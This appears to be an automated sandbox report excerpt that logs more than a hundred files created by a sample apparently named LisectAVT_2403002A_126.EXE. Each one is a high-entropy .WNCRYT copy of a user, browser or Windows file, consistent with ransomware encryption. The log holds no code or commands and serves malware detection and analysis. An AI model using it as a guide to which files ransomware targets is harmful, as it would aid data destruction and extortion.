                  Source: C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exeFile created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\PMAQH2N6\65\GYWlhtp-2KUP3DrEvGq6qAwH9L8.gz[1].js.WNCRYT entropy: 7.99928934548Jump to dropped file
                  Source: C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exeFile created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\PMAQH2N6\65\Hg6tBRUHG5-aBDi3pWOAYY-0ezY.gz[1].js.WNCRYT entropy: 7.99065781267Jump to dropped file
                  Source: C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exeFile created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\PMAQH2N6\65\KRGF6ZIGAEc_qQJgueszZZZOzNs.gz[1].js.WNCRYT entropy: 7.99602335513Jump to dropped file
                  Source: C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exeFile created: C:\Users\user\AppData\Local\Packages\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\AC\MicrosoftEdge\User\Default\DataStore\Data\nouser1\120712-0049\DBStore\spartan.edb.WNCRYT entropy: 7.99991596672Jump to dropped file
                  Source: C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exeFile created: C:\Users\user\AppData\LocalLow\Microsoft\Windows\AppCache\4IW902AO\5\jquery-2.1.1.min[1].js.WNCRYT entropy: 7.99790312384Jump to dropped file
                  Source: C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exeFile created: C:\Users\user\AppData\LocalLow\Microsoft\Windows\AppCache\4IW902AO\5\kernel-1e468708[1].js.WNCRYT entropy: 7.99931701922Jump to dropped file
                  Source: C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exeFile created: C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\Word Document Building Blocks\1033\TM01840907[[fn=Equations]].dotx.WNCRYT entropy: 7.99658877482Jump to dropped file
                  Source: C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exeFile created: C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\Word Document Building Blocks\1033\TM03998158[[fn=Element]].dotx.WNCRYT entropy: 7.99531912625Jump to dropped file
                  Source: C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exeFile created: C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\Word Document Building Blocks\1033\TM03998159[[fn=Insight]].dotx.WNCRYT entropy: 7.99994893925Jump to dropped file
                  Source: C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exeFile created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133664197001416167.txt.WNCRYT entropy: 7.99834860258Jump to dropped file
                  Source: C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exeFile created: C:\ProgramData\Microsoft\Diagnosis\EventStore.db.WNCRYT entropy: 7.99878990316Jump to dropped file
                  Source: C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exeFile created: C:\ProgramData\Microsoft\User Account Pictures\guest.bmp.WNCRYT entropy: 7.99967323319Jump to dropped file
                  Source: C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exeFile created: C:\ProgramData\Microsoft\User Account Pictures\user.bmp.WNCRYT entropy: 7.99970571697Jump to dropped file
                  Source: C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exeFile created: C:\ProgramData\Microsoft\Windows Defender\Scans\mpenginedb.db.WNCRYT entropy: 7.99970466573Jump to dropped file
                  Source: C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exeFile created: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\ol7uiqa8.default-release\cert9.db.WNCRYT entropy: 7.9992467066Jump to dropped file
                  Source: C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exeFile created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Apps_{d17da1ee-054d-4d15-97a5-4869d17ec228}\0.0.filtertrie.intermediate.txt.WNCRYT entropy: 7.99681653215Jump to dropped file
                  Source: C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exeFile created: C:\ProgramData\Microsoft\Diagnosis\ScenariosSqlStore\EventStore.db.WNCRYT entropy: 7.99488254905Jump to dropped file
                  Source: C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exeFile created: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\ol7uiqa8.default-release\key4.db.WNCRYT entropy: 7.99934028271Jump to dropped file
                  Source: C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exeFile created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Input_{4969e51d-173c-4e79-9b57-3f39ed7bcf3f}\appsconversions.txt.WNCRYT entropy: 7.99989674461Jump to dropped file
                  Source: C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exeFile created: C:\ProgramData\Microsoft\Diagnosis\TenantStorage\P-ARIA\EventStore.db.WNCRYT entropy: 7.99329018106Jump to dropped file
                  Source: C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exeFile created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Input_{4969e51d-173c-4e79-9b57-3f39ed7bcf3f}\settingsconversions.txt.WNCRYT entropy: 7.99961308193Jump to dropped file
                  Source: C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exeFile created: C:\ProgramData\Microsoft\Search\Data\Applications\Windows\Windows.edb.WNCRYT entropy: 7.99999289774Jump to dropped file
                  Source: C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exeFile created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Input_{4969e51d-173c-4e79-9b57-3f39ed7bcf3f}\settingsglobals.txt.WNCRYT entropy: 7.99686955785Jump to dropped file
                  Source: C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exeFile created: C:\ProgramData\Microsoft\SmsRouter\MessageStore\SmsInterceptStore.db.WNCRYT entropy: 7.99901093373Jump to dropped file
                  Source: C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exeFile created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Input_{4969e51d-173c-4e79-9b57-3f39ed7bcf3f}\settingssynonyms.txt.WNCRYT entropy: 7.99840227336Jump to dropped file
                  Source: C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exeFile created: C:\ProgramData\Microsoft\Windows NT\MSFax\VirtualInbox\en-US\WelcomeFax.tif.WNCRYT entropy: 7.99795578302Jump to dropped file
                  Source: C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exeFile created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Settings_{b5f948f2-ed43-4efa-a5e8-c66e8e4b2569}\0.0.filtertrie.intermediate.txt.WNCRYT entropy: 7.99904477518Jump to dropped file
                  Source: C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exeFile created: C:\ProgramData\Microsoft\Device Stage\Device\{113527a4-45d4-4b6f-b567-97838f1b04b0}\device.png.WNCRYT entropy: 7.99514153064Jump to dropped file
                  Source: C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exeFile created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Settings_{fd8f40a4-ac14-48d6-9ef0-afd19dd2a012}\0.0.filtertrie.intermediate.txt.WNCRYT entropy: 7.99918109236Jump to dropped file
                  Source: C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exeFile created: C:\ProgramData\Microsoft\Device Stage\Device\{113527a4-45d4-4b6f-b567-97838f1b04b0}\overlay.png.WNCRYT entropy: 7.99400040219Jump to dropped file
                  Source: C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exeFile created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\PMAQH2N6\64\C__Windows_SystemApps_Microsoft.Windows.Search_cw5n1h2txyewy_cache_Desktop_10[1].txt.WNCRYT entropy: 7.99900831863Jump to dropped file
                  Source: C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exeFile created: C:\ProgramData\Microsoft\Device Stage\Device\{113527a4-45d4-4b6f-b567-97838f1b04b0}\background.png.WNCRYT entropy: 7.99866079079Jump to dropped file
                  Source: C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exeFile created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\PMAQH2N6\64\C__Windows_SystemApps_Microsoft.Windows.Search_cw5n1h2txyewy_cache_Desktop_11[1].txt.WNCRYT entropy: 7.99514108186Jump to dropped file
                  Source: C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exeFile created: C:\ProgramData\Microsoft\Device Stage\Device\{113527a4-45d4-4b6f-b567-97838f1b04b0}\superbar.png.WNCRYT entropy: 7.99491866104Jump to dropped file
                  Source: C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exeFile created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\PMAQH2N6\64\C__Windows_SystemApps_Microsoft.Windows.Search_cw5n1h2txyewy_cache_Desktop_12[1].txt.WNCRYT entropy: 7.9992070169Jump to dropped file
                  Source: C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exeFile created: C:\ProgramData\Microsoft\Device Stage\Device\{8702d817-5aad-4674-9ef3-4d3decd87120}\background.png.WNCRYT entropy: 7.99839203232Jump to dropped file
                  Source: C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exeFile created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\PMAQH2N6\64\C__Windows_SystemApps_Microsoft.Windows.Search_cw5n1h2txyewy_cache_Desktop_13[1].txt.WNCRYT entropy: 7.99691946201Jump to dropped file
                  Source: C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exeFile created: C:\ProgramData\Microsoft\Device Stage\Device\{8702d817-5aad-4674-9ef3-4d3decd87120}\watermark.png.WNCRYT entropy: 7.99335807523Jump to dropped file
                  Source: C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exeFile created: C:\Users\user\AppData\Local\Microsoft\Windows\Caches\{3DA71D5A-20CC-432F-A115-DFE92379E91F}.3.ver0x000000000000003a.db.WNCRYT entropy: 7.99798304158Jump to dropped file
                  Source: C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exeFile created: C:\ProgramData\Microsoft\Windows\Caches\{6AF0698E-D558-4F6E-9B3C-3716689AF493}.2.ver0x0000000000000001.db.WNCRYT entropy: 7.99929269309Jump to dropped file
                  Source: C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exeFile created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\PMAQH2N6\64\C__Windows_SystemApps_Microsoft.Windows.Search_cw5n1h2txyewy_cache_Desktop_15[1].txt.WNCRYT entropy: 7.99864001722Jump to dropped file
                  Source: C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exeFile created: C:\ProgramData\Microsoft\Windows\Caches\{6AF0698E-D558-4F6E-9B3C-3716689AF493}.2.ver0x0000000000000002.db.WNCRYT entropy: 7.99940859269Jump to dropped file
                  Source: C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exeFile created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\PMAQH2N6\64\C__Windows_SystemApps_Microsoft.Windows.Search_cw5n1h2txyewy_cache_Desktop_16[1].txt.WNCRYT entropy: 7.99784733723Jump to dropped file
                  Source: C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exeFile created: C:\ProgramData\Microsoft\Windows\Caches\{DDF571F2-BE98-426D-8288-1A9A39C3FDA2}.2.ver0x0000000000000001.db.WNCRYT entropy: 7.99967112052Jump to dropped file
                  Source: C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exeFile created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\PMAQH2N6\64\C__Windows_SystemApps_Microsoft.Windows.Search_cw5n1h2txyewy_cache_Desktop_18[1].txt.WNCRYT entropy: 7.99850649486Jump to dropped file
                  Source: C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exeFile created: C:\ProgramData\Microsoft\ClickToRun\ProductReleases\46183AC3-59FF-4B8C-8BF8-6C3D1F20FAC7\en-us.16\stream.x64.en-us.db.WNCRYT entropy: 7.99962499439Jump to dropped file
                  Source: C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exeFile created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\PMAQH2N6\64\C__Windows_SystemApps_Microsoft.Windows.Search_cw5n1h2txyewy_cache_Desktop_19[1].txt.WNCRYT entropy: 7.99832041058Jump to dropped file
                  Source: C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exeFile created: C:\ProgramData\Microsoft\ClickToRun\ProductReleases\46183AC3-59FF-4B8C-8BF8-6C3D1F20FAC7\x-none.16\stream.x64.x-none.db.WNCRYT entropy: 7.99993491877Jump to dropped file
                  Source: C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exeFile created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\PMAQH2N6\64\C__Windows_SystemApps_Microsoft.Windows.Search_cw5n1h2txyewy_cache_Desktop_20[1].txt.WNCRYT entropy: 7.99730132449Jump to dropped file
                  Source: C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exeFile created: C:\Users\user\AppData\Local\IconCache.db.WNCRYT entropy: 7.99000244951Jump to dropped file
                  Source: C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exeFile created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\PMAQH2N6\64\C__Windows_SystemApps_Microsoft.Windows.Search_cw5n1h2txyewy_cache_Desktop_21[1].txt.WNCRYT entropy: 7.9952528617Jump to dropped file
                  Source: C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exeFile created: C:\Users\user\AppData\Local\Microsoft\Office\OTele\excel.exe.db.WNCRYT entropy: 7.99269961926Jump to dropped file
                  Source: C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exeFile created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\PMAQH2N6\64\C__Windows_SystemApps_Microsoft.Windows.Search_cw5n1h2txyewy_cache_Desktop_22[1].txt.WNCRYT entropy: 7.99910028877Jump to dropped file
                  Source: C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exeFile created: C:\Users\user\AppData\Local\ConnectedDevicesPlatform\L.user\ActivitiesCache.db.WNCRYT entropy: 7.99985369385Jump to dropped file
                  Source: C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exeFile created: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\load_statistics.db.WNCRYT entropy: 7.99642455423Jump to dropped file
                  Source: C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exeFile created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\PMAQH2N6\64\C__Windows_SystemApps_Microsoft.Windows.Search_cw5n1h2txyewy_cache_Desktop_24[1].txt.WNCRYT entropy: 7.99621382114Jump to dropped file
                  Source: C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exeFile created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\PMAQH2N6\64\C__Windows_SystemApps_Microsoft.Windows.Search_cw5n1h2txyewy_cache_Desktop_25[1].txt.WNCRYT entropy: 7.99516245725Jump to dropped file
                  Source: C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exeFile created: C:\Users\user\AppData\Local\Microsoft\Office\OTele\officec2rclient.exe.db.WNCRYT entropy: 7.99252552707Jump to dropped file
                  Source: C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exeFile created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\PMAQH2N6\64\C__Windows_SystemApps_Microsoft.Windows.Search_cw5n1h2txyewy_cache_Desktop_26[1].txt.WNCRYT entropy: 7.99975092602Jump to dropped file
                  Source: C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exeFile created: C:\Users\user\AppData\Local\Microsoft\Office\OTele\officeclicktorun.exe.db.WNCRYT entropy: 7.99183268373Jump to dropped file
                  Source: C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exeFile created: C:\Users\user\AppData\Local\Google\Chrome\User Data\ZxcvbnData\1\english_wikipedia.txt.WNCRYT entropy: 7.9993901607Jump to dropped file
                  Source: C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exeFile created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\PMAQH2N6\64\C__Windows_SystemApps_Microsoft.Windows.Search_cw5n1h2txyewy_cache_Desktop_27[1].txt.WNCRYT entropy: 7.99803440825Jump to dropped file
                  Source: C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exeFile created: C:\Users\user\AppData\Local\Google\Chrome\User Data\ZxcvbnData\1\female_names.txt.WNCRYT entropy: 7.9936065146Jump to dropped file
                  Source: C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exeFile created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\PMAQH2N6\64\C__Windows_SystemApps_Microsoft.Windows.Search_cw5n1h2txyewy_cache_Desktop_28[1].txt.WNCRYT entropy: 7.9990024496Jump to dropped file
                  Source: C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exeFile created: C:\Users\user\AppData\Local\Microsoft\Office\OTele\winword.exe.db.WNCRYT entropy: 7.99321870584Jump to dropped file
                  Source: C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exeFile created: C:\Users\user\AppData\Local\Google\Chrome\User Data\ZxcvbnData\1\us_tv_and_film.txt.WNCRYT entropy: 7.99884679638Jump to dropped file
                  Source: C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exeFile created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\PMAQH2N6\64\C__Windows_SystemApps_Microsoft.Windows.Search_cw5n1h2txyewy_cache_Desktop_29[1].txt.WNCRYT entropy: 7.99018623416Jump to dropped file
                  Source: C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exeFile created: C:\Users\user\AppData\Local\Google\Chrome\User Data\Subresource Filter\Unindexed Rules\9.29.4\LICENSE.txt.WNCRYT entropy: 7.99272832834Jump to dropped file
                  Source: C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exeFile created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\PMAQH2N6\64\C__Windows_SystemApps_Microsoft.Windows.Search_cw5n1h2txyewy_cache_Desktop_2[1].txt.WNCRYT entropy: 7.997611921Jump to dropped file
                  Source: C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exeFile created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\PMAQH2N6\64\C__Windows_SystemApps_Microsoft.Windows.Search_cw5n1h2txyewy_cache_Desktop_3[1].txt.WNCRYT entropy: 7.99129357087Jump to dropped file
                  Source: C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exeFile created: C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\iconcache_16.db.WNCRYT entropy: 7.99984484155Jump to dropped file
                  Source: C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exeFile created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\PMAQH2N6\64\C__Windows_SystemApps_Microsoft.Windows.Search_cw5n1h2txyewy_cache_Desktop_4[1].txt.WNCRYT entropy: 7.99184419324Jump to dropped file
                  Source: C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exeFile created: C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\iconcache_256.db.WNCRYT entropy: 7.99995761053Jump to dropped file
                  Source: C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exeFile created: C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\iconcache_32.db.WNCRYT entropy: 7.99992072639Jump to dropped file
                  Source: C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exeFile created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\PMAQH2N6\64\C__Windows_SystemApps_Microsoft.Windows.Search_cw5n1h2txyewy_cache_Desktop_6[1].txt.WNCRYT entropy: 7.99548732171Jump to dropped file
                  Source: C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exeFile created: C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\iconcache_48.db.WNCRYT entropy: 7.99995674397Jump to dropped file
                  Source: C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exeFile created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\PMAQH2N6\64\C__Windows_SystemApps_Microsoft.Windows.Search_cw5n1h2txyewy_cache_Desktop_7[1].txt.WNCRYT entropy: 7.99906675767Jump to dropped file
                  Source: C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exeFile created: C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\iconcache_idx.db.WNCRYT entropy: 7.99818421575Jump to dropped file
                  Source: C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exeFile created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\PMAQH2N6\64\C__Windows_SystemApps_Microsoft.Windows.Search_cw5n1h2txyewy_cache_Desktop_8[1].txt.WNCRYT entropy: 7.99608409501Jump to dropped file
                  Source: C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exeFile created: C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\thumbcache_16.db.WNCRYT entropy: 7.99979777665Jump to dropped file
                  Source: C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exeFile created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\PMAQH2N6\64\C__Windows_SystemApps_Microsoft.Windows.Search_cw5n1h2txyewy_cache_Desktop_9[1].txt.WNCRYT entropy: 7.99719160961Jump to dropped file
                  Source: C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exeFile created: C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\thumbcache_256.db.WNCRYT entropy: 7.99984014291Jump to dropped file
                  Source: C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exeFile created: C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\Word Document Building Blocks\1033\TM02835233[[fn=Text Sidebar (Annual Report Red and Black design)]].docx.WNCRYT entropy: 7.99598914203Jump to dropped file
                  Source: C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exeFile created: C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\thumbcache_32.db.WNCRYT entropy: 7.99981626256Jump to dropped file
                  Source: C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exeFile created: C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\thumbcache_48.db.WNCRYT entropy: 7.99982486167Jump to dropped file
                  Source: C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exeFile created: C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\thumbcache_96.db.WNCRYT entropy: 7.99996674656Jump to dropped file
                  Source: C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exeFile created: C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\thumbcache_idx.db.WNCRYT entropy: 7.99726727428Jump to dropped file
                  Source: C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exeFile created: C:\Users\user\AppData\Local\Microsoft\Windows\Notifications\wpndatabase.db.WNCRYT entropy: 7.9998177799Jump to dropped file
                  Source: C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exeFile created: C:\Users\user\AppData\Local\Microsoft\Windows\Notifications\wpnidm\36378e77.png.WNCRYT entropy: 7.99198225197Jump to dropped file
                  Source: C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exeFile created: C:\Users\user\AppData\Local\ConnectedDevicesPlatform\1ae6599e75337c3a\ActivitiesCache.db.WNCRYT entropy: 7.99984154762Jump to dropped file
                  Source: C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exeFile created: C:\Users\user\AppData\Local\ConnectedDevicesPlatform\8628dc546dc99469\ActivitiesCache.db.WNCRYT entropy: 7.99983857822Jump to dropped file
                  Source: C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exeFile created: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\databases\Databases.db.WNCRYT entropy: 7.99432029064Jump to dropped file
                  Source: C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exeFile created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AppData\CacheStorage\CacheStorage.edb.WNCRYT entropy: 7.99989901386Jump to dropped file
                  Source: C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exeFile created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AppData\Indexed DB\IndexedDB.edb.WNCRYT entropy: 7.99992165999Jump to dropped file
                  Source: C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exeFile created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\SettingsCache.txt.WNCRYT entropy: 7.99974866071Jump to dropped file
                  Source: C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exeFile created: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\craw_window.js.WNCRYT entropy: 7.99923198072Jump to dropped file
                  Source: C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exeFile created: C:\Users\user\AppData\Local\Intel\CUIPromotions\Images\000000_INTEL.ODYSSEY_ADDITIONAL_GAMEPLAY_ASSET_CUI.2.3-600x300.png.WNCRYT entropy: 7.99918710646Jump to dropped file
                  Source: C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exeFile created: C:\Users\user\AppData\Local\Microsoft\Windows\Caches\{3075AAB0-B905-4D30-88C9-B63C603DA134}.3.ver0x0000000000000001.db.WNCRYT entropy: 7.99955013857Jump to dropped file
                  Source: C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exeFile created: C:\Users\user\AppData\Local\Microsoft\Windows\Caches\{3DA71D5A-20CC-432F-A115-DFE92379E91F}.3.ver0x0000000000000037.db.WNCRYT entropy: 7.99799448198Jump to dropped file
                  Source: C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exeFile created: C:\Users\user\AppData\Local\Microsoft\Windows\Caches\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x000000000000002a.db.WNCRYT entropy: 7.99761986485Jump to dropped file
                  Source: C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exeFile created: C:\Users\user\AppData\Local\Microsoft\Windows\Caches\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x000000000000002b.db.WNCRYT entropy: 7.99708968772Jump to dropped file
                  Source: C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exeFile created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133663979588962890.txt.WNCRYT entropy: 7.99814598757Jump to dropped file
                  Source: C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exeFile created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Themes\CachedFiles\CachedImage_1024_768_POS4.jpg.WNCRYT entropy: 7.99504337952Jump to dropped file
                  Source: C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exeFile created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133663980110963572.txt.WNCRYT entropy: 7.99826425195Jump to dropped file
                  Source: C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exeFile created: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.62.0_0\eventpage_bin_prod.js.WNCRYT entropy: 7.9972649449Jump to dropped file
                  Source: C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exeFile created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Themes\CachedFiles\CachedImage_1920_1080_POS4.jpg.WNCRYT entropy: 7.99844493874Jump to dropped file
